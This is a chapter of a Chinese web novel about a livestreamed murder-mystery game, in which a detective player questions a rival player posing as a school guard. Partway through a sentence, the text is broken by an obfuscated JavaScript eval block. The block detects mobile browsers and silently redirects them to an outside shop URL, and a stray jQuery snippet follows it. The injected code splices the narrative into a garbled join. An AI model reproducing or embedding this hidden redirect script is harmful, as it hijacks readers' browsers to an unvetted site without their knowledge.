Chapter16TheDevilKillerintheSchool
16.1
Francisca的视线还停在神像上时，身后传来一次性橡胶手套轻轻一弹的声音。
一个男人的声音轻声地说道：“Francisca……弗然，是你吗？”
她回过头去。
祷告室的门口站着一个男人，他穿着法证科深蓝色的一次性防护服，鞋上套着防污鞋套。他正伸手将口罩与一次性手套摘下来。
Francisca身边的警员叫了一声：“克拉克博士。”
口罩摘下，露出一张英俊的脸：
那是一位面容非常漂亮的男性，黑色卷发，五官端正，眼神很深。
Francisca没有回答他的问题，只是礼貌地说：“克拉克博士，你好。我们正好需要勘验现场的法医。”
克拉克博士的打扮显然是前来勘验现场的法证科工作人员，他深深地看了Francisca一眼。
“警探翰普顿，你好。”他说。
站在一旁的警员看看Francisca，又看看那位名叫克拉克的法医，摸摸下巴。
Francisca没再继续和他寒暄，而是看看跪倒在地的死者：“初步判断？”
法医没有立刻回答。
他重新戴好口罩，先蹲下身去，近距离地观察了尸体的口部，又看了一眼尸体的下半个身体。随后，他站起身来，扫了一眼自己的记录板，才重新开口。
“男性，三十五岁上下。死亡时间初步估计在昨天夜里十点到十二点。”
Francisca点点头：“死因呢？”
法医抬了抬眼睛。
他没有回答Francisca的问题，而是忽然向站在祷告室里的警员说道：“警员吉恩。”
警员吉恩一愣，法医看她一眼：“能让我们单独聊聊吗？”
年轻的警员看看Francisca，又看看法医，像是领悟到了什么，眨眨眼睛，识趣地说道：“我先去收集其他人的供词。”
警员吉恩离开祷告室，祷告室里只剩下了Francisca和法医克拉克。
法医望着她，眼睛幽深，再次说道：“Francisca……弗然，是你吗？”
Francisca没有说话。
法医缓缓地说：“是我，德弥安。”
16.2
在法医说出“德弥安”这个名字的时候，Francisca直播间的评论数量一下子飙升：
“德弥安？是总榜排名71的玩家德弥安？”
“德弥安是谁？他很有名吗？”
“德弥安是老玩家了，《探案游戏直播》刚发布没多久的时候，他还进过总榜排名前十。后来他不怎么玩这个游戏了，积分就被新玩家们渐渐超过了。”
“哇，现在的新观众都不知道德弥安的名字了。”
“我以为他退出游戏了。原来他还在玩啊？”
“他为什么要和玩家Francisca搭话？”
评论区激烈地讨论着，而Francisca没有对“德弥安”这个名字做出反应。
她说：“我是警探翰普顿，克拉克博士。”
Francisca神情平静，那种平静中透出一种冷漠。法医没有再继续追问她。
克拉克博士牵了牵唇角：“好，警探翰普顿。我只是有一点想要告诉你。”
“……”
“这场游戏里有三个玩家。警探翰普顿，法医克拉克，还有发现了案发现场的那位安保，玛利亚。”
Francisca眯了眯眼睛，法医德弥安向她笑了一下：“《校园魔鬼谋杀事件》这场游戏，是固定的三个玩家之间的PVP对抗，玩家视角也是一直固定在这三个NPC视角。”
“……”
“我想，在你审问那位发现现场的安保玛利亚之前，你最好知道，她是一个玩家，她可能会说谎话。”
德弥安对Francisca这样说，Francisca直播间的评论区数量变得更多了：
“玩家德弥安和玩家Francisca是什么关系？他为什么要对玩家Francisca说这些？”
“德弥安想要结盟吗？”
“德弥安从来不和人结盟。而且，《探案游戏直播》只允许适度的针对案件讨论，但是不允许玩家之间直接商量答案。”
“那就是德弥安在迷惑Francisca吧，想用这种众人皆知的线索假装对她示好。”
“他是不是在防范那位随机到安保视角的玩家？提前挑拨警探和安保两个玩家之间的关系，让另外两个玩家没有办法结盟。”
“玩家之间的对抗开始了，真刺激。”
“……”
Francisca没有回答德弥安。
她扬声叫了一声：“吉恩！”
警员吉恩从外面看进来：“Ma’am？”
Francisca说：“我们应该开始调查了。”
她没有再和玩家德弥安说话。
警员吉恩的目光在祷告室的两个人之间梭巡了一下，Francisca已经举起脚步，走出了祷告室。警员连忙跟在她身后。
“Ma’am，”警员说，“你想从哪里开始？”
Francisca说：“昨天夜里，巡警封锁现场时，整理的死者的基本资料，你已经记下了吗？”
警员赶忙说：“记下了。”
她取出自己的笔记本，念道：“死者名为詹姆斯·特纳，男性，高加索人种，三十四岁，是唐卡斯特小学的音乐教师。”
Francisca一边向外走，一边问道：“我没记错的话，巡警的报告里说，死者詹姆斯·特纳是一个人独居，对吧？”
“对，”警员吉恩确认道，“死者詹姆斯·特纳三年前离婚，没有孩子，一直单身独居到现在。詹姆斯·特纳最近的法定亲属是他住在另一个州的父亲。巡警昨天夜里通知了他，他正在赶来。”
Francisca走到楼道里，左右看了看：“昨天夜里十一点，是两个四年级的学生发现了案发现场。”
“是的。”警员说，“孩子们的尖叫引来了在校园里巡逻的安保，安保随即呼叫了警方。”
Francisca的目光投在楼道里的一个身影上：“那一位坐在楼道里的，想必就是发现了现场的安保人员，玛利亚·杰弗森了。”
警员吉恩点点头。
像是感应到了什么，校园安保人员玛利亚·杰弗森抬起头来，也向这边看过来。
Francisca的目光和安保玛利亚·杰弗森的目光在半空中一触，两个人的神情都有一点微妙：
她们都知道彼此是《探案游戏直播》的玩家。
Francisca的直播间里，评论区也在哄闹：
“哇，终于看到玩家正面对决了！”
“上一场游戏里，玩家Francisca都没怎么和其他的玩家接触，像是在单机解决案件。我很好奇在对抗赛中，她是什么类型的玩家？”
“打起来！打起来！”
“《校园魔鬼谋杀事件》这场游戏一直是固定的三个玩家视角吗？我第一次看这场游戏。”
“回答上面的朋友，是的，《校园魔鬼谋杀事件》这场游戏的玩家视角一直固定在警探、法医和发现现场的安保这三个NPC身上。”
“那这两个玩家肯定已经知道了彼此的身份，接下来就是看谁更会说谎了。”
“打起来！打起来！”
“……”
Francisca走到校园安保人员身前，叫了一声：“玛利亚·杰弗森。”
玛利亚·杰弗森坐在楼道尽头的椅子上。
玛利亚是个黑人女性，从外貌不太看得出年纪。她的身材偏胖，胳膊和肩膀都厚，看得出很有力气。她坐在椅子上，身上还穿着唐卡斯特小学夜班安保的制服，深蓝色夹克，肩膀有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17657849|207072||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
点绷紧。
Francisca叫了一声：“玛利亚·杰弗森。”
玛利亚立刻抬起头来。
“杰弗森女士。”警探出示证件，“我是负责调查这个案件的警探，沙伦·翰普顿。这位是警员吉恩。”
玛利亚看上去有点拘谨：“你好。”
警探看了她两秒，没说什么。她像例行公事一样提问：“玛利亚·杰弗森，昨天晚上，是你发现了案发现场？”
“对，是我。”玛利亚答得很快，“昨天晚上九点到十二点是我值班。我听到了那两个孩子的叫声。”
警探点点头：“我们的记录显示，报警时间是十一点零五分。”
玛利亚“嗯”了一声。
Francisca看着她，问道：“晚上九点到十一点，你在巡逻吗？”
玛利亚还是“嗯”了一声。
“你具体巡逻了哪些地方？”
玛利亚一顿。她有点含混地说：“就是平常那些地方。”
Francisca没有继续追究：
她知道，她们是案发时才“醒来”的玩家，并不知道这些NPC昨天晚上做了什么。随机到安保视角的玩家大概也不知道玛利亚·杰弗森巡逻了什么地方。
Francisca想了想，转而问：“你听到了那两个孩子的叫声，所以过来查看情况。”
“是。”
“你当时距离祷告室有多远？”
“……记不清了，不是很远。”
“你跑过来时，祷告室的门是开着还是关着？”
玛利亚又顿了一下。她低下头，没看警探：“门开着吧。”
“你确定？”
“我想是开着。”玛利亚垂着眼睛，“也可能不是完全打开。我不记得了。我当时太害怕了。”
警探凝视她：“你进入祷告室查看情况了吗？”
“没有。”
“那么，你怎么确认里面的人已经死了？”
玛利亚的手指微微攥紧。
“我没有进去。”她说，“我只是站在门口看了一眼。两个孩子在尖叫，我想保护孩子，就直接打给警察了。”
Francisca还是没有追究。
“好，”警探说，“那么，你站在门口看了一眼，看到了什么？”
“……”玛利亚深吸了一口气，“我只看到了一个大概的情形。祷告室里很黑，只有一点蜡烛的光在晃。我只看见一个人跪在那儿。就这些，别的我不知道了。”
Francisca看着她，声音依旧很平静：“你有没有看见死者的脸？”
“没有。”
“所以你也没有认出死者。”
“没有。”
“现场还有没有别人？”
“没有。”玛利亚的喉咙动了一下，“除了两个孩子，没有别人。”
Francisca点点头。她没有再继续问下去。
她说：“感谢你的配合，杰弗森女士。”
警探结束了问话，玛利亚明显地松了一口气，紧绷的肩膀也松垮下去。
警探和警员走开两步，站到黄色的警戒线旁。警员吉恩压低了声音：“Ma’am……”
“嗯？”
“她好像没说实话。”
Francisca心知对方是游戏玩家，肯定没有说实话。她也不着急，只说：“案发现场太诡异，那位女士被吓到了吧。”
警员吉恩倒也没怀疑，点点头，只问：“那我们接下来怎么办？”
Francisca微微仰头，看着楼道里的监控摄像头。
“查看监控吧。”她说，“法医已经推断，死者的死亡时间是昨夜十点到十一点。祷告室里没有监控，但我们查看楼道的监控录像，至少能看见祷告室的人员进出。”
然而，等到Francisca和警员吉恩来到唐卡斯特小学的安保室，却有点笑不出来：
“——什么意思，近一周的监控录像全部被人破坏了？”